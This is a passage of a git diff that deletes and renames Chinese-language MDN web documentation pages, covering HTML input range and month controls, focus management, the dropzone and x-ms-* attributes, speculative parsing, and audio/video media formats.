-  populateYears();
-}
-
-function populateYears() {
-  // get the current year as a number
-  var date = new Date();
-  var year = date.getFullYear();
-
-  // Make this year, and the 100 years before it available in the year <select>
-  for(var i = 0; i <= 100; i++) {
-    var option = document.createElement('option');
-    option.textContent = year-i;
-    yearSelect.appendChild(option);
-  }
-}
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'forms.html#month-state-(type=month)', '<input type="month">')}}{{Spec2('HTML WHATWG')}} 
- -

浏览器兼容性

- - - -

{{Compat("html.elements.input.input-month")}}

- -

参见

- - diff --git "a/files/zh-cn/web/html/element/input/\350\214\203\345\233\264/index.html" "b/files/zh-cn/web/html/element/input/\350\214\203\345\233\264/index.html" deleted file mode 100644 index 9450c705b2..0000000000 --- "a/files/zh-cn/web/html/element/input/\350\214\203\345\233\264/index.html" +++ /dev/null @@ -1,515 +0,0 @@ ---- -title: -slug: Web/HTML/Element/Input/范围 -tags: - - HTML - - 元素 - - 参考 - - 网页 - - 范围 -translation_of: Web/HTML/Element/input/range ---- -
{{HTMLRef}}
- -

{{HTMLElement("input")}}  range 类型的元素允许用户指定一个数值,该数值必须不小于给定值,并且不得大于另一个给定值。但是,精确值并不重要。通常使用滑块或拨号控件而不是像 {{HTMLElement('input/number', 'number')}}  输入类型这样的文本输入框来表示。 由于这种小部件不精确,因此除非控件的确切值不重要,否则通常不应使用它。

- -
{{EmbedInteractiveExample("pages/tabbed/input-range.html", "tabbed-standard")}}
- - - -

如果用户的浏览器不支持类型范围,它将回退并将其视为 {{HTMLElement('input/text', 'text')}} 输入。

- - - - - - - - - - - - - - - - - - - - - - - - -
{{anch("Value")}}A {{domxref("DOMString")}} containing the string representation of the selected numeric value; use {{domxref("HTMLInputElement.valueAsNumber", "valueAsNumber")}} to get the value as a {{jsxref("Number")}}.
事件{{event("change")}} and {{event("input")}}
支持的常用属性{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("max", "input")}}, {{htmlattrxref("min", "input")}}, and {{htmlattrxref("step", "input")}}
IDL属性list, value, 和 valueAsNumber
方法{{domxref("HTMLInputElement.stepDown", "stepDown()")}} and {{domxref("HTMLInputElement.stepUp", "stepUp()")}}
- -

验证方式

- -

没有可用的模式验证。 但是,执行以下形式的自动验证:

- -
    -
  • 如果将 {{htmlattrxref("value", "input")}} 设置为无法转换为有效浮点数的值,则验证将失败,因为输入正遭受错误的输入。
  • -
  • 该值不得小于 {{htmlattrxref("min", "input")}}. 默认值为0。
  • -
  • 该值将不大于 {{htmlattrxref("max", "input")}}.  默认值为100。
  • -
  • 该值将是 {{htmlattrxref("step", "input")}}.  预设值为1。
  • -
- -

- -

{{htmlattrxref("value", "input")}} 属性包含一个 {{domxref("DOMString")}} 该属性包含所选数字的字符串表示形式。 该值绝不能为空字符串 ("").  默认值介于指定的最小值和最大值之间,除非最大值实际上小于最小值,在这种情况下,默认值设置 min 属性的值。确定默认值的算法是:

- -
defaultValue = (rangeElem.max < rangeElem.min) ? rangeElem.min
-               : rangeElem.min + (rangeElem.max - rangeElem.min)/2;
- -

如果尝试将值设置为小于最小值,则将其设置为最小值。 类似地,尝试将值设置为大于最大值会导致将其设置为最大值。

- -

其他属性

- -

除了所有 {{HTMLElement("input")}} 元素共享的属性之外,范围输入还提供以下属性:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
属性描述
{{anch("list")}}<datalist>元素的ID,其中包含可选的预定义选项
{{anch("max")}}最大允许值
{{anch("min")}}最小允许值
{{anch("step")}}步进间隔,用于用户界面和验证目的
- -

{{page("/en-US/docs/Web/HTML/Element/input/text", "list", 0, 1, 2)}}

- -

有关在支持的浏览器中如何表示范围中的选项的示例,请参见下面的带散列的标记范围控制

- -

{{htmlattrdef("max")}}

- -

允许值范围内的最大值。 如果输入到元素中的{{htmlattrxref("value", "input")}}超过此值,则元素将无法通过约束验证。  如果 max 属性的值不是数字,则元素没有最大值。

- -

此值必须大于或等于min属性的值。 请参见 HTML max属性。

- -

{{htmlattrdef("min")}}

- -

允许值范围内的最小值。 如果元素的{{htmlattrxref("value", "input")}} 小于此值,则该元素将无法通过 约束验证。如果为min 指定的值不是有效数字,则输入没有最小值。

- -

该值必须小于或等于max属性的值。 请参见 HTML min属性

- -

{{htmlattrdef("step")}}

- -

{{page("/en-US/docs/Web/HTML/Element/input/number", "step-include")}}

- -

range 输入的默认步进值为1,除非步进基数不是整数,否则仅允许输入整数;否则,默认值为1。 例如,如果将 min 设置为-10并将 value 设置为1.5,则1的 step 将只允许正方向上的值为1.5、2.5、3.5,...,以及-0.5,-1.5,-2.5等。 ..朝负面方向发展。 请参阅HTML step 属性

- -

非标准属性

- - - - - - - - - - - - - - -
属性描述
{{anch("orient")}}设置范围滑块的方向。 仅限Firefox .
- -
-
{{htmlattrdef("orient")}} {{non-standard_inline}}
-
类似于-moz-orient非标准CSS属性会影响 {{htmlelement('progress')}} 和 {{htmlelement('meter')}} 元素, orient 属性定义范围滑块的方向。 值包括 horizontal, 表示范围是水平呈现, 和 vertical, 其中范围是垂直呈现)。
-
- -
-

注意:以下输入属性不适用于输入范围:accept, alt, checked, dirname, formaction, formenctype, formmethod, formnovalidate, formtarget,高度, maxlength, minlength, multiple, pattern, placeholder, readonly, required, size, src, 和 width. 这些属性中的任何一个(如果包含)将被忽略。

-
- -

例子

- -

虽然 number 类型允许用户输入带有可选约束的数字,以强制其值介于最小值和最大值之间,但它确实要求他们输入特定值。 range 输入类型使您可以在用户甚至不关心或不知道所选的特定数字值是什么的情况下,向用户询问一个值。

- -

常用范围输入的一些情况示例:

- -
    -
  • 音频控件(例如音量和平衡)或过滤器控件。
  • -
  • 颜色配置控件,例如颜色通道,透明度,亮度等。
  • -
  • 游戏配置控件,例如难度,可见性距离,世界范围等等。
  • -
  • 密码管理员生成的密码的密码长度。
  • -
- -

通常,如果用户对最小值和最大值之间的距离的百分比比实际数字本身更感兴趣,则范围输入是一个不错的选择。 例如,在家庭立体声音量控制的情况下,用户通常认为“将音量设置为最大音量的一半”而不是“将音量设置为0.5”。

- -

指定最小和最大

- -

默认情况下,最小值为0,最大值为100。如果这不是您想要的值,则可以通过更改 {{htmlattrxref("min", "input")}} 和/或 {{htmlattrxref("max", "input")}} 属性。 这些可以是任何浮点值。

- -

例如,要要求用户输入介于-10和10之间的值,可以使用:

- -
<input type="range" min="-10" max="10">
- -

{{EmbedLiveSample("Specifying_the_minimum_and_maximum", 600, 40)}}

- -

设置值的粒度

- -

默认情况下,粒度为1,表示该值始终是整数。 您可以更改 {{htmlattrxref("step")}} 属性以控制粒度。 例如,如果您需要一个介于5到10之间的值(精确到两位小数),则应将 step 的值设置为0.01:

- -
-
<input type="range" min="5" max="10" step="0.01">
- -

{{EmbedLiveSample("Granularity_sample1", 600, 40)}}

-
- -

如果要接受任何值而不论扩展到小数点后多少位,都可以为{{htmlattrxref("step", "input")}} 属性指定 any 数值。

- -
-
<input type="range" min="0" max="3.14" step="any">
- -

{{EmbedLiveSample("Granularity_sample2", 600, 40)}}

- -

该示例使用户可以选择0到π之间的任何值,而对所选值的小数部分没有任何限制。

-
- -

添加井号和标签

- -

HTML规范使浏览器在如何显示范围控件方面具有一定的灵活性。 在散列标记和较小程度上的标签方面,这种灵活性最明显。 该规范描述了如何使用 {{htmlattrxref("list", "input")}} 属性和 {{HTMLElement("datalist")}} 元素将自定义点添加到范围控件,但没有任何要求或 甚至是沿控件长度的标准化哈希或刻度线的建议。

- -

范围控制模型

- -

由于浏览器具有这种灵活性,并且迄今为止都不支持HTML为范围控件定义的所有功能,因此以下是一些模型,以向您展示在支持它们的浏览器中在macOS上可以得到的功能。

- -
无装饰的范围控制
- -

如果不指定 {{htmlattrxref("list", "input")}} 属性,或者浏览器不支持该属性,则会得到此结果。

- - - - - - - - - - - - - - - - - - - - - -
HTML例子
-
-<input type="range">
-
屏幕截图
Screenshot of a plain slider control on macOS
留存
{{EmbedLiveSample("An_unadorned_range_control",200,55,"","", "nobutton")}}
- -
带散列标记的范围控件
- -

此范围控件使用的 list 属性指定{{HTMLElement("datalist")}} 的ID,该ID定义了控件上的一系列带散列的标记。 其中有11个,因此在0%和每个10%标记处都有一个。 每个点均使用 {{HTMLElement("option")}} 元素表示,其元素 {{htmlattrxref("value", "option")}} 设置为应绘制标记的范围值。

- - - - - - - - - - - - - - - - - - - - - -
HTML例子
-
-<input type="range" list="tickmarks">
-
-<datalist id="tickmarks">
-  <option value="0"></option>
-  <option value="10"></option>
-  <option value="20"></option>
-  <option value="30"></option>
-  <option value="40"></option>
-  <option value="50"></option>
-  <option value="60"></option>
-  <option value="70"></option>
-  <option value="80"></option>
-  <option value="90"></option>
-  <option value="100"></option>
-</datalist>
-
-
屏幕截图
Screenshot of a plain slider control on macOS
留存
{{EmbedLiveSample("A_range_control_with_hash_marks_and_labels",200,55,"","", "nobutton")}}
- -
具有散列标记和标签的范围控件
- -

您可以通过向 {{htmlattrxref("label", "option")}} 元素添加 {{HTMLElement("option")}} 属性来将标签添加到您的范围控件中,这些元素对应于您希望为其添加标签的标记。

- - - - - - - - - - - - - - - - - - - - - -
HTML例子
-
-<input type="range" list="tickmarks">
-
-<datalist id="tickmarks">
-  <option value="0" label="0%"></option>
-  <option value="10"></option>
-  <option value="20"></option>
-  <option value="30"></option>
-  <option value="40"></option>
-  <option value="50" label="50%"></option>
-  <option value="60"></option>
-  <option value="70"></option>
-  <option value="80"></option>
-  <option value="90"></option>
-  <option value="100" label="100%"></option>
-</datalist>
-
-
屏幕截图
Screenshot of a plain slider control on macOS
留存
{{EmbedLiveSample("A_range_control_with_hash_marks_and_labels",200,55,"","", "nobutton")}}
- -
-

注意: 目前没有浏览器完全支持这些特性。例如,Firefox根本不支持散列标记和标签,而Chrome支持散列标记,但不支持标签。Chrome的66版本(66.0.3359.181)支持标签,但是 {{htmlelement("datalist")}} 标签必须使用CSS样式,因为它的 {{cssxref("display")}}属性默认设置为 none ,隐藏了标签。

-
- -

改变方向

- -
-

使旋钮向左和向右滑动。 如果支持,我们将能够声明垂直高度,并通过声明高度值大于宽度值来使用CSS上下滑动。 任何主要的浏览器实际上尚未实现此功能。(请参阅{{bug(981916)}}, Chrome bug 341071)。也许它仍在讨论中。

- -

同时,我们可以通过使用CSS变换旋转范围来使范围垂直,或者通过使用各自的方法定位每个浏览器引擎,包括通过将 {{cssxref('appearance')}} 设置为 slider-vertical, 在Firefox中使用非标准的orient 属性,或通过更改Internet Explorer和Edge的文本方向。

- -

考虑以下范围控制:

- -
-
<input type="range" id="volume" min="0" max="11" value="7" step="1">
-
- -

{{EmbedLiveSample("Orientation_sample1", 200, 200, "https://mdn.mozillademos.org/files/14983/Orientation_sample1.png")}}

- -

此控件是水平的(至少对大多数主要浏览器(至少,如果不是全部);其他控件可能有所不同)。

- -

标准

- -

根据规范,使其垂直需要添加CSS来更改控件的尺寸,以使其比宽度高,如下所示:

- -
-

CSS

- -
#volume {
-  height: 150px;
-  width: 50px;
-}
- -

HTML

- -
<input type="range" id="volume" min="0" max="11" value="7" step="1">
- -

结果

- -

{{EmbedLiveSample("Orientation_sample2", 200, 200, "https://mdn.mozillademos.org/files/14985/Orientation_sample2.png")}}

-
-
- -

不幸的是,当前没有主流浏览器直接支持垂直范围控件。

- -

变换:旋转(-90deg)

- -

但是,您可以通过在侧面绘制水平范围控件来创建垂直范围控件。 最简单的方法是使用CSS:通过应用 {{cssxref("transform")}} 旋转元素,可以使其垂直。 让我们来看看。

- -

HTML

- -

需要更新HTML,以将 {{HTMLElement("input")}} 包裹在 {{HTMLElement("div")}} 中,以便我们在执行转换后纠正布局(因为转换不会自动影响 页面的布局):

- -
<div class="slider-wrapper">
-  <input type="range" min="0" max="11" value="7" step="1">
-</div>
- -

CSS

- -

现在我们需要一些CSS。 首先是包装器本身的CSS; 这指定了我们想要的显示模式和大小,以便页面正确布局; 本质上,它是为滑块保留页面的区域,以便旋转的滑块适合保留的空间而不会造成混乱。

- -
.slider-wrapper {
-  display: inline-block;
-  width: 20px;
-  height: 150px;
-  padding: 0;
-}
-
- -

然后是保留空间中 <input> 元素的样式信息:

- -
.slider-wrapper input {
-  width: 150px;
-  height: 20px;
-  margin: 0;
-  transform-origin: 75px 75px;
-  transform: rotate(-90deg);
-}
- -

控件的大小设置为150像素长x 20像素高。 边距设置为0, {{cssxref("transform-origin")}} 移至滑块旋转通过的空间的中间; 由于滑块配置为150像素宽,因此它将旋转通过每边150像素的框。 在每个轴上将原点偏移75像素,这意味着我们将围绕该空间的中心旋转。 最后,我们将逆时针旋转90°。 结果:旋转一个范围输入,因此最大值在顶部,最小值在底部。

- -

{{EmbedLiveSample("transform_rotate-90deg", 200, 200, "https://mdn.mozillademos.org/files/14987/Orientation_sample3.png")}}

- -

外观特性

- -

{{cssxref('appearance')}}属性具有非标准值的slider-vertical可以使滑块垂直。

- -

HTML

- -

我们使用与前面的示例相同的HTML:

- -
<input type="range" min="0" max="11" value="7" step="1">
-
- -

CSS

- -

我们仅针对具有范围类型的输入:

- -
input[type="range"] {
-  -webkit-appearance: slider-vertical;
-}
- -

{{EmbedLiveSample("appearance_property", 200, 200)}}

- -

定向属性

- -

仅在Firefox中,有一个非标准的 orient 属性。

- -

HTML

- -

使用与前面示例类似的HTML,我们添加属性值为 vertical:

- -
<input type="range" min="0" max="11" value="7" step="1" orient="vertical">
-
- -

{{EmbedLiveSample("orient_attribute", 200, 200)}}

- -

写作模式:bt-lr;

- -

The {{cssxref('writing-mode')}} 属性通常不应用于出于国际化或本地化目的更改文本方向,而可以用于特殊效果。

- -

HTML

- -

我们使用与前面的示例相同的HTML:

- -
<input type="range" min="0" max="11" value="7" step="1">
-
- -

CSS

- -

我们仅以范围为类型的输入作为目标,将写入模式从默认更改为 bt-lr, 或从下至上和从左至右:

- -
input[type="range"] {
-  writing-mode: bt-lr;
-}
- -

{{EmbedLiveSample("writing-mode_bt-lr", 200, 200)}}

- -

放在一起

- -

由于上述每个示例都在不同的浏览器中工作,因此您可以将所有示例放在一个示例中,以使其在跨浏览器中工作:

- -

HTML

- -

对于Firefox,我们将orient属性的值保持为vertical:

- -
<input type="range" min="0" max="11" value="7" step="1" orient="vertical">
-
- -

CSS

- -

对于Edge和Internet Explorer,我们仅将输入类型作为目标,将写入模式从默认更改为 bt-lr, 或者从下至上,从左至右,然后添加 -webkit-appearance: slider-vertical用于所有基于-webkit的浏览器:

- -
input[type="range"] {
-  writing-mode: bt-lr;
-  -webkit-appearance: slider-vertical;
-}
- -

{{EmbedLiveSample("Putting_it_all_together", 200, 200)}}

- -

技术指标

- - - - - - - - - - - - - - - - - - - - - -
规格状态评论
{{SpecName('HTML WHATWG', 'forms.html#range-state-(type=range)', '<input type="range">')}}{{Spec2('HTML WHATWG')}}最初的定义
{{SpecName('HTML5.1', 'sec-forms.html#range-state-typerange', '<input type="range">')}}{{Spec2('HTML5.1')}}最初的定义
- -

浏览器兼容性

- - - -

{{Compat("html.elements.input.input-range")}}

- -

另请参考

- - diff --git a/files/zh-cn/web/html/focus_management_in_html/index.html b/files/zh-cn/web/html/focus_management_in_html/index.html deleted file mode 100644 index df29adde76..0000000000 --- a/files/zh-cn/web/html/focus_management_in_html/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: HTML 焦点管理 -slug: Web/HTML/Focus_management_in_HTML -tags: - - DOM - - HTML - - HTML5 - - 焦点 -translation_of: Web/API/Document/hasFocus -translation_of_original: Web/HTML/Focus_management_in_HTML ---- -

重定向 Document.hasFocus()

- -

 

- -

在 HTML5 工作草案中,DOM 属性 activeElement 与方法 hasFocus() 为程序员提供了更好的控制页面交互的能力,特别是对于用户行为引发的交互。例如,它们都可以用于统计使用目的,跟踪页面特定链接的点击次数,计算元素获得焦点的次数等等。此外,当与 AJAX 技术结合以后,将会减少向服务器请求的数目,这取决于用户的活跃程度和页面的布局。

- -

浏览器兼容性

- -

{{CompatibilityTable()}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("1.9.2")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("2.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

浏览器相关注释

- -

Gecko notes

- -

[1] Gecko 8.0 {{geckoRelease("8.0")}} 开始,Firefox 会在任意 tabindex 值大于 0 的元素周围绘制一个焦点框,而不只是一小部分元素。一部分元素例外: {{HTMLElement("input")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}, {{HTMLElement("iframe")}}, {{HTMLElement("frame")}}, {{HTMLElement("body")}} 和 {{HTMLElement("html")}}。

- -

另请参阅

- -
    -
  • {{domxref("document.activeElement")}}
  • -
  • {{domxref("document.hasFocus")}}
  • -
diff --git a/files/zh-cn/web/html/global_attributes/dropzone/index.html b/files/zh-cn/web/html/global_attributes/dropzone/index.html deleted file mode 100644 index 316e41a944..0000000000 --- a/files/zh-cn/web/html/global_attributes/dropzone/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: dropzone -slug: Web/HTML/Global_attributes/dropzone -translation_of: Web/HTML/Global_attributes/dropzone ---- -

{{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}}

- -

dropzone 全局属性 是个枚举属性,表示什么内容类型可以拖放到元素上,使用 Drag and Drop API,它可以拥有以下值:

- -
    -
  • copy,它表明拖放行为会创建被拖放元素的副本。
  • -
  • move,它表明被拖放元素会移动到新的位置。
  • -
  • link,它会创建被拖放数据的链接。 
  • -
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', "interaction.html#the-dropzone-attribute", "dropzone")}}{{Spec2('HTML WHATWG')}}与最新的快照{{SpecName('HTML5.1')}} 没有区别
{{SpecName('HTML5.1', "editing.html#the-dropzone-attribute", "dropzone")}}{{Spec2('HTML5.1')}}{{SpecName('HTML WHATWG')}} 的快照,最初定义
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
基础支持{{ CompatUnknown() }}{{ CompatNo }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基础支持{{ CompatUnknown() }}{{ CompatUnknown}}{{ CompatNo }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

另见

- - diff --git a/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html b/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html new file mode 100644 index 0000000000..b44ded3590 --- /dev/null +++ b/files/zh-cn/web/html/global_attributes/x-ms-acceleratorkey/index.html @@ -0,0 +1,41 @@ +--- +title: x-ms-加速装置键 +slug: Web/HTML/Global_attributes/x-ms-加速装置键 +tags: + - HTML + - 参考 + - 属性 + - 无标准的 +translation_of: Web/HTML/Global_attributes/x-ms-acceleratorkey +--- +
{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
+ +

 x-ms-acceleratorkey 属性声明 accelerator key 已经分配给一个元素: 当按下键盘上的键时,通过JavaScript激活该元素。

+ +

{{Non-standard_Inline}} 此专有属性是特定于 Internet Explorer 和 Microsoft Edge的。

+ +

对于屏幕阅读器和其他辅助技术,x-ms-acceleratorkey  在可访问性树中公开一个通知,即该元素存在一个加速器键。此属性不提供加速器键行为。必须提供JavaScript事件处理程序,如onkeypress, onkeydown, 或者 onkeyup, 来侦听声明的加速器键并相应地激活元素。

+ +

为下列元素提供键盘快捷方式:不需要JavaScript的,请使用 the accesskey 属性

+ +

语法

+ +
<button x-ms-acceleratorkey="[explanation of key combination]">…</button>
+ +

价值

+ +

加速器键组合。例如:

+ +
    +
  • "Ctrl+B" 的组合 Ctrl 和 B 秘钥。
  • +
  • "J" 只是为了 J 钥匙。
  • +
  • "Ctrl+; then K" 的快捷方式,类似于 FogBugz的就键盘模式。这种方法比较复杂,但不覆盖用户浏览器或操作系统提供的现有键盘快捷键。 
  • +
+ +

另请参阅

+ + diff --git a/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html b/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html new file mode 100644 index 0000000000..c36b3ca744 --- /dev/null +++ b/files/zh-cn/web/html/global_attributes/x-ms-format-detection/index.html @@ -0,0 +1,43 @@ +--- +title: x-ms-格式-检测 +slug: Web/HTML/Global_attributes/x-ms-格式-检测 +tags: + - HTML + - x-ms-format-detection + - 参考 + - 属性 +translation_of: Web/HTML/Global_attributes/x-ms-format-detection +--- +
{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
+ +

这个 x-ms-format-detection 属性确定元素文本中的数据格式(如电话号码)是否自动转换为可跟踪链接。

+ +

现有的链接(例如带有tel: 计划不受影响。

+ +
+

通过格式检测创建的链接不会出现在DOM中。

+
+ +

{{Non-standard_inline}} 此专有属性是特定于 Internet Explorer 和Microsoft Edge。

+ +

语法

+ +
<html x-ms-format-detection="none">
+
+ +

价值

+ +
+
all
+
检测所有受支持的数据格式。
+
none
+
关闭格式检测。
+
phone
+
电话号码模式是自动链接的。
+
+ +

另请详见

+ + diff --git "a/files/zh-cn/web/html/global_attributes/x-ms-\345\212\240\351\200\237\350\243\205\347\275\256\351\224\256/index.html" "b/files/zh-cn/web/html/global_attributes/x-ms-\345\212\240\351\200\237\350\243\205\347\275\256\351\224\256/index.html" deleted file mode 100644 index b44ded3590..0000000000 --- "a/files/zh-cn/web/html/global_attributes/x-ms-\345\212\240\351\200\237\350\243\205\347\275\256\351\224\256/index.html" +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: x-ms-加速装置键 -slug: Web/HTML/Global_attributes/x-ms-加速装置键 -tags: - - HTML - - 参考 - - 属性 - - 无标准的 -translation_of: Web/HTML/Global_attributes/x-ms-acceleratorkey ---- -
{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
- -

 x-ms-acceleratorkey 属性声明 accelerator key 已经分配给一个元素: 当按下键盘上的键时,通过JavaScript激活该元素。

- -

{{Non-standard_Inline}} 此专有属性是特定于 Internet Explorer 和 Microsoft Edge的。

- -

对于屏幕阅读器和其他辅助技术,x-ms-acceleratorkey  在可访问性树中公开一个通知,即该元素存在一个加速器键。此属性不提供加速器键行为。必须提供JavaScript事件处理程序,如onkeypress, onkeydown, 或者 onkeyup, 来侦听声明的加速器键并相应地激活元素。

- -

为下列元素提供键盘快捷方式:不需要JavaScript的,请使用 the accesskey 属性

- -

语法

- -
<button x-ms-acceleratorkey="[explanation of key combination]">…</button>
- -

价值

- -

加速器键组合。例如:

- -
    -
  • "Ctrl+B" 的组合 Ctrl 和 B 秘钥。
  • -
  • "J" 只是为了 J 钥匙。
  • -
  • "Ctrl+; then K" 的快捷方式,类似于 FogBugz的就键盘模式。这种方法比较复杂,但不覆盖用户浏览器或操作系统提供的现有键盘快捷键。 
  • -
- -

另请参阅

- - diff --git "a/files/zh-cn/web/html/global_attributes/x-ms-\346\240\274\345\274\217-\346\243\200\346\265\213/index.html" "b/files/zh-cn/web/html/global_attributes/x-ms-\346\240\274\345\274\217-\346\243\200\346\265\213/index.html" deleted file mode 100644 index c36b3ca744..0000000000 --- "a/files/zh-cn/web/html/global_attributes/x-ms-\346\240\274\345\274\217-\346\243\200\346\265\213/index.html" +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: x-ms-格式-检测 -slug: Web/HTML/Global_attributes/x-ms-格式-检测 -tags: - - HTML - - x-ms-format-detection - - 参考 - - 属性 -translation_of: Web/HTML/Global_attributes/x-ms-format-detection ---- -
{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}
- -

这个 x-ms-format-detection 属性确定元素文本中的数据格式(如电话号码)是否自动转换为可跟踪链接。

- -

现有的链接(例如带有tel: 计划不受影响。

- -
-

通过格式检测创建的链接不会出现在DOM中。

-
- -

{{Non-standard_inline}} 此专有属性是特定于 Internet Explorer 和Microsoft Edge。

- -

语法

- -
<html x-ms-format-detection="none">
-
- -

价值

- -
-
all
-
检测所有受支持的数据格式。
-
none
-
关闭格式检测。
-
phone
-
电话号码模式是自动链接的。
-
- -

另请详见

- - diff --git a/files/zh-cn/web/html/optimizing_your_pages_for_speculative_parsing/index.html b/files/zh-cn/web/html/optimizing_your_pages_for_speculative_parsing/index.html deleted file mode 100644 index bded58d8fd..0000000000 --- a/files/zh-cn/web/html/optimizing_your_pages_for_speculative_parsing/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: 对页面预解析进行优化 -slug: Web/HTML/Optimizing_your_pages_for_speculative_parsing -translation_of: Glossary/speculative_parsing ---- -

在传统的浏览器中,HTML 解析器运行于主线程之中,并且在遇到 </script> 标签后会被阻塞,直到脚本从网络中被获取和执行。 Firefox 4 和后续的版本支持从主线程中分离的预解析技术。 当脚本在获取和执行的过程中,预解析技术能提前解析HTML文档。在Firefox 3.5 和 3.6中, HTML 解析器能够在文档流中预先加载脚本、层叠样式表和图片。然而, 在Firefox 4 和后续的版本中 HTML 解析器也预先运行HTML 树构建算法。 这一举措的优点是当预解析成功后,就没有必要再重新解析已经扫描过并且成功下载的脚本,层叠样式表和图片;缺点就是当预解析失败之后,有很多工作需要去做。

- -

这篇文档旨在帮助你避免预解析失败和页面加载变慢。

- -

使预加载成功

- -

让脚本、层叠样式表和图片预加载成功的规则只有一条:

- -
    -
  • 如果你使用 <base> 元素重载页面的基 URI,将这个元素放置到文档的非脚本部分。不要通过 document.write() 或者 document.createElement() 添加.
  • -
- -

避免树构建器的输出丢失

- -

当document.write() 改变了文档树的状态时,树构建器的预构建过程会失败。 例如,当所有被document.write() 插入的内容被解析之后</script> 标签后的预处理状态不再持有。 然而,只有不寻常地使用 document.write() 才会产生问题。 这些事情需要避免:

- -
    -
  • 不要写不对称的文档树。<script>document.write("<div>");</script> 很糟糕。<script>document.write("<div></div>");</script> 则是可行的。
  • -
  • 不要写未完成的标识。 <script>document.write("<div></div");</script> 很糟糕。
  • -
  • 不要以回车结束内容。 <script>document.write("Hello World!\r");</script> 很糟糕。​​​​​​​ <script>document.write("Hello World!\n");</script> 则是可行的。
  • -
  • 注意即使对称的标签也可能导致文档的不对称。 比如:head 元素中的<script>document.write("<div></div>");</script> i会被解析成 <script>document.write("</head><body><div></div>");</script> 因次文档是不对称的。
  • -
  • 不要仅格式化部分表格。 <table><script>document.write("<tr><td>Hello World!</td></tr>");</script></table> 很糟糕。然而, <script>document.write("<table><tr><td>Hello World!</td></tr></table>");</script> 则是可行的。
  • -
  • TODO: 在其它格式化元素中使用document.write。
  • -
diff --git a/files/zh-cn/web/html/supported_media_formats/index.html b/files/zh-cn/web/html/supported_media_formats/index.html deleted file mode 100644 index d6a5d3753e..0000000000 --- a/files/zh-cn/web/html/supported_media_formats/index.html +++ /dev/null @@ -1,563 +0,0 @@ ---- -title: 'HTML的媒体支持:audio和video元素' -slug: Web/HTML/Supported_media_formats -tags: - - HTML Media Video Audio -translation_of: Web/Media/Formats -translation_of_original: Web/HTML/Supported_media_formats ---- -

    {{HTMLElement("audio")}} 和 {{HTMLElement("video")}}是浏览器内置的播放音频或视频的元素;视频和音频编解码器用来处理视频和音频,不同的编解码器提供不同级别的压缩率和分辨率;一个容器封装格式(多媒体容器格式)用来存储和传输编码后的视频和音频(如果视频带有音轨则同时;编解码器和多媒体容器格式有非常多的组合;尽管只有很少部分和WEB相关;
-    
-     由于专利的问题,不同的浏览器对HTML5的video和audio有不同的规范和实现;WEB上的媒体格式领域受到在包括美国、欧盟在内的许多国家的专利法的保护和制约;本文将讨论了不同的编解码器和封装格式在WEB上的各种组合,包括在桌面设备和其他设备上的浏览器的支持情况。

- -

     想要在HTML5中播放视频,并且主流浏览器的最新版本中支持良好;可以使用WebM 和 MPEG H.264 AAC 编码格式;像下面一样使用{{HTMLElement("source")}}元素

- -
<video controls>
-  <source src="somevideo.webm" type="video/webm">
-  <source src="somevideo.mp4" type="video/mp4">
-  I'm sorry; your browser doesn't support HTML5 video in WebM with VP8/VP9 or MP4 with H.264.
-  <!-- You can embed a Flash player here, to play your mp4 video in older browsers -->
-</video>
-
- -

- -

Ogg Theora Vorbis

- -

Ogg容器格式使用Theora视频编解码器和 Vorbis音频编解码器。在的桌面和移动端的Gecko(Firefox),Chrome和Opera;Safari(非IOS)可以通过添加扩展支持;但是不支持IE

- -

WebM在可选的情况下是优选项;因为它能提供更高的压缩比,并且被更多的浏览器所支持;而Ogg容器格式主要用于支持低版本的浏览器(比如: Firefox 3.5/3.6就不支持WebM,但是支持Ogg)

- -

Ogg的授权情况和WebM类似

- -

Gecko提供下面3种Ogg文件格式的MIME type:

- -

audio/ogg

- -

一个只包含音频的Ogg文件

- -

video/ogg

- -

一个包含视频或音频的Ogg文件

- -

application/ogg

- -

一个不指定内容的Ogg文件,当你不知道内容的时候可以选择

- -

Ogg Opus

- -

Ogg容器可以通过使用Opus codec包含音频编解码器;用来支持Gecko 15.0 (Firefox 15.0 / Thunderbird 15.0 / SeaMonkey 2.12) 或更新的版本

- -

Ogg FLAC

- -

Ogg容器可以通过使用FLAC codec包含音频编解码器;用来支持Gecko 51.0 {{geckoRelease("51.0")}} 或更新的版本, 但只适用于桌面浏览器

- -

MP4 FLAC

- -

